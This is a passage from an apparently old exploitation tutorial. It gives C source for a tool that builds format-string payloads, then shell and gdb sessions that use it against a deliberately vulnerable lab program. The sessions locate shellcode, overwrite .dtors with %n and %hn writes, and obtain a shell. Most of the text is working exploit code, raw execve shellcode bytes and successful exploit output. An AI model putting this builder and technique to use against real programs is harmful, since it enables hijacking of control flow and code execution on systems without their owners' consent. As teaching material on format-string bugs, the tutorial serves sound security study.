"%%%dx%%%d$n%%%dx%%%d$n", b3 - sizeof(size_t) * 4 + start - base, offset, b2 - b3 + start, offset + 1, b1 - b2 + start, offset + 2, b0 - b1 + start, offset + 3 ); return buff; } char *hnway(unsigned int retaddr, unsigned int offset, unsigned int base) { char *buff = (char *)malloc(256); unsigned int low, high; unsigned int wr1, wr2; low = (retaddr & 0x0000ffff); high = (retaddr & 0xffff0000) >> 16; if (high < low) high += 0x10000; wr1 = low - 8 - base; wr2 = high - low; sprintf(buff, "%%.%du%%%d$hn%%.%du%%%d$hn", wr1, offset, wr2, offset+1); return buff; } int main(int argc, char * argv[]) { char opt; char *fmt; char *endian; unsigned long locaddr; unsigned long retaddr; unsigned int offset, base, align = 0; unsigned char b0, b1, b2, b3; int length, way; if(argc != 10) { usage(argv[0]); return -1; } length = (sizeof(size_t) * 16) + 1; if(!(endian = (char *)malloc(length * sizeof(char)))) { printf("Can't allocate buffer.\n"); return -1; } memset(endian, 0x00, length); while((opt = getopt(argc, argv, "nhl:r:o:b:")) != EOF) switch(opt) { case 'n': way = 0; break; case 'h': way = 1; break; case 'l': locaddr = strtoul(optarg, NULL, 16); break; case 'r': retaddr = strtoul(optarg, NULL, 16); break; case 'o': offset = atoi(optarg); break; case 'b': base = atoi(optarg); break; default : usage(argv[0]); exit(-1); } OCT(b0, b1, b2, b3, (locaddr+4)); if(base % 4) { align = 4 - (base % 4); base += align; } if(way == 0) { snprintf(endian, length, "%c%c%c%c" "%c%c%c%c" "%c%c%c%c" "%c%c%c%c", b3 + 0, b2, b1, b0, b3 + 1, b2, b1, b0, b3 + 2, b2, b1, b0, b3 + 3, b2, b1, b0); fmt = nway(retaddr, offset, align); } else { snprintf(endian, length, "%c%c%c%c" "%c%c%c%c", b3 + 0, b2, b1, b0, b3 + 2, b2, b1, b0); fmt = hnway(retaddr, offset, align); } for(; align > 0; --align) printf("."); printf("%s%s\n", endian, fmt); return 0; } [xgc@knowledge:~/tools/formater]$ gcc -o formater formater.c -Wall [xgc@knowledge:~/tools/formater]$ ./formater Usage : ./formater [-nh] -l -r -o -b -n : Format string with %n -h : Format string with %hn -l : address to overwrite (like .dtors) -r : where we want to return (shellcode) -o : distance in 'words' to reach the part of the buffer we control -b : amount of char previously in the string [xgc@knowledge:~/tools/formater]$ In the same vulnerable example code from this paper, let's get the necessary informations to run the builder program. [xgc@knowledge:~/tools/formater]$ gdb ./fmt_bug -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x8048446 (gdb) run Starting program: /home/xgc/tools/formater/fmt_bug Breakpoint 1, 0x08048446 in main () (gdb) x/x $ebp+16 0xbffffac8: 0xbffffb1c (gdb) x/x 0xbffffb1c 0xbffffb1c: 0xbffffc1c (gdb) x/s 0xbffffc1c 0xbffffc1c: "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200" (gdb) x/s 0xbffffc1c+15 0xbffffc2b: "\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200" (gdb) main info sections .dtors Exec file: `/home/xgc/tools/formater/fmt_bug', file type elf32-i386. 0x08049748->0x08049750 at 0x00000748: .dtors ALLOC LOAD DATA HAS_CONTENTS (gdb) x/x 0x08049748+4 0x804974c <__DTOR_END__>: 0x00000000 (gdb) quit The program is running. Exit anyway? (y or n) y [xgc@knowledge:~/tools/formater]$ ./fmt_bug AAAA%6\$x Right way: AAAA%6$x Wrong way: AAAA41414141 (-) value @ 0x08049670 = 50 0x00000032 [xgc@knowledge:~/tools/formater]$ All necessary informations found. Address to be overwritten : 0x08049748 Address to return : 0xbffffc2b Offset : 6 Let's run the builder to show us the format string against %n and %hn way. [xgc@knowledge:~/tools/formater]$ ./formater -n -l 0x08049748 -r 0xbffffc2b -o 6 -b 0 %283x%6$n%465x%7$n%259x%8$n%192x%9$n [xgc@knowledge:~/tools/formater]$ ./formater -h -l 0x08049748 -r 0xbffffc2b -o 6 -b 0 %.64547u%6$hn%.50132u%7$hn [xgc@knowledge:~/tools/formater]$ Now let's run the vulnerable program with the builder as argument expected. [xgc@knowledge:~/tools/formater]$ ./fmt_bug `./formater -n -l 0x08049748 -r 0xbffffc2b -o 6 -b 0` Right way: %283x%6$n%465x%7$n%259x%8$n%192x%9$n Wrong way: bffffa58 bffffa68 8048429 8049750 (-) value @ 0x08049670 = 50 0x00000032 sh-2.05b$ [xgc@knowledge:~/tools/formater]$ ./fmt_bug `./formater -h -l 0x08049748 -r 0xbffffc2b -o 6 -b 0` 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 3221224056 (-) value @ 0x08049670 = 50 0x00000032 sh-2.05b$ ---------[ 0x49b - Conclusion ] The ability to overwrite any arbitrary address opens up many possibilities for exploitation. Basically, any section of memory that is writable and contains an address that directs the flow of program execution can be targeted. # milw0rm.com [2006-03-09]